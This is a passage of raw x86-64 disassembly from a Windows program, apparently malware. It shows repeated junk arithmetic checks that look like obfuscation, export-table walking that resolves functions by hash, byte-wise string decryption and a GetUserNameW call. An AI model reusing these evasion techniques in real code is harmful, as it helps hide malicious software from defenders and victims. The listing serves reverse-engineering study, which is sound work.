movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140049724
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140049724
mov eax, r15d
jmp 0x1400497bf
call fcn.140003750
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx r8d, al
imul ebx, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*8]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140049674
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140049674
mov eax, r15d
jmp 0x14004970f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140049708
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14004970f
mov eax, dword [rsp + 0x1680]
cmp r12d, eax
jge 0x14004947c
lea rdx, [0x140073888]
jmp 0x14004820f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400497b8
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x1400497bf
mov eax, dword [rsp + 0x1680]
cmp r12d, eax
jge 0x14004822f
lea rdx, [0x140073888]
lea rcx, [rsp + 0x18c8]
call fcn.140001d00
or dword [rsp + 0xa0], 0x1000000
jmp 0x14004822f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140049880
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140049887
mov ebx, dword [rsp + 0x1680]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004a0cd
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004a0cd
mov rcx, r12
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400499e3
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400499e3
mov ebx, 7
jmp 0x140049a7e
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140049a77
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140049a7e
mov ebx, dword [rsp + 0x1680]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
movsx ecx, al
mov eax, edi
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004a0cd
mov rcx, qword [0x14007d180]
test rcx, rcx
jne 0x140049caa
mov r11d, r12d
mov r10d, 0x7f027e23
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x140049b60
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x77d2f313
cmp rcx, r8
je 0x140049b57
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x140049b40
cmp edx, r11d
jne 0x140049c7d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x140049c7d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140049c7d
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r15]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0x77d2f313
test al, al
je 0x140049be9
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140049bd0
cmp ecx, r10d
je 0x140049bf8
test r8d, r8d
jne 0x140049ba0
jmp 0x140049c7d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
cmp rcx, rdi
jbe 0x140049c21
lea rax, [rdi + r12]
cmp rcx, rax
jae 0x140049c21
mov al, 1
jmp 0x140049c23
xor al, al
test al, al
je 0x140049d70
mov r11d, 0x77d2f313
mov r10d, r11d
movzx eax, byte [rcx]
cmp al, 0x2e
je 0x140049c57
nop dword [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rcx
movzx eax, byte [rcx]
cmp al, 0x2e
jne 0x140049c40
inc rcx
movzx eax, byte [rcx]
cmp al, 0
je 0x140049c79
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140049c61
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x140049c93
cmp qword [rax + 0x30], 0
je 0x140049c93
mov al, 1
jmp 0x140049c95
xor al, al
test al, al
jne 0x140049b00
xor r12d, r12d
mov ecx, r12d
mov qword [0x14007d180], rcx
call rcx
mov r15, rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140049d5a
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140049d5a
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r10 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x140049d55
mov ecx, 0x46bb60e1
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140049d30
cmp ecx, 0x17e0c11d
je 0x140049e88
test r8d, r8d
jne 0x140049d00
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x140049d78
cmp qword [rax + 0x30], 0
je 0x140049d78
mov al, 1
jmp 0x140049d7a
xor r12d, r12d
jmp 0x140049ca3
xor al, al
test al, al
jne 0x140049cd0
mov rax, r12
lea rdx, [rsp + 0x15a0]
mov rcx, r15
call rax
call fcn.140003750
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx r8d, al
imul ebx, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*8]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140049ea6
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140049ea6
mov eax, 7
jmp 0x140049f41
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x140049d85
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140049f3a
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x140049f41
mov eax, dword [rsp + 0x1680]
cmp r12d, eax
jge 0x14004a0cd
mov edx, dword [rsp + 0x15ac]
lea rcx, [rsp + 0x360]
call fcn.140002e60
mov ebx, dword [rsp + 0xa0]
bts ebx, 0x1a
mov dword [rsp + 0xa0], ebx
mov edx, dword [rsp + 0x15a8]
lea rcx, [rsp + 0xe80]
call fcn.140002e60
bts ebx, 0x1b
mov dword [rsp + 0xa0], ebx
mov byte [rsp + 0xe40], 0xbe
mov byte [rsp + 0xe41], 0x35
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xe42], xmm0
mov dword [rsp + 0xe52], eax
mov word [rsp + 0xe56], ax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x18
jae 0x14004a01c
movabs r8, 0xdf29313d8eb5c89
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xe40]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x41
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xe40], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x18
jb 0x140049fd5
lea rax, [rsp + 0xe40]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004a030
lea rdx, [rsp + 0xe40]
lea rcx, [rsp + 0xe80]
call fcn.140002020
mov rdx, rax
lea rcx, [rsp + 0xe00]
call fcn.140001cd0
mov ebx, dword [rsp + 0xa0]
bts ebx, 0x1c
mov dword [rsp + 0xa0], ebx
lea r9, [rsp + 0x360]
lea r8, [rsp + 0xe00]
movzx edx, byte [rsp + 0x1670]
lea rcx, [rsp + 0x1948]
call fcn.14005f9e0
or ebx, 0x22000000
mov dword [rsp + 0xa0], ebx
lea rcx, [rsp + 0xe00]
call fcn.140001c70
nop
lea rcx, [rsp + 0xe80]
call fcn.140001c70
nop
lea rcx, [rsp + 0x360]
call fcn.140001c70
nop
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004afbb
mov rcx, r12
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004a1e2
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004a1e2
mov r14d, 7
mov ebx, r14d
jmp 0x14004a283
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004a276
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004a27d
mov ebx, dword [rsp + 0x1680]
mov r14d, 7
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
movsx ecx, al
mov eax, edi
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004afbb
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx ecx, al
mov eax, ebx
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004afbb
mov rcx, r12
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004a3d5
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004a3d5
mov ebx, r14d
jmp 0x14004a470
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004a469
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004a470
mov ebx, dword [rsp + 0x1680]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004afbb
mov byte [rsp + 0xd80], 0x61
mov byte [rsp + 0xd81], 0x61
mov byte [rsp + 0xd82], 0x62
mov byte [rsp + 0xd83], 0x63
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xd84], xmm0
mov word [rsp + 0xd94], ax
mov byte [rsp + 0xd96], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x17
jae 0x14004a557
movabs r8, 0x4e8e647784683c70
nop
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xd80]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x10
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xd80], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x17
jb 0x14004a510
mov eax, dword [rsp + 0xd80]
add eax, 0x100
mov dword [rsp + 0x1678], eax
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004ad4e
lea rdx, [rsp + 0x1678]
lea rcx, [rsp + 0x2980]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004a680
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004a680
mov ebx, r14d
jmp 0x14004a71b
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004a714
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004a71b
mov ebx, dword [rsp + 0x1678]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*8]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004ad4e
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
lea eax, [rdx + rdx*4]
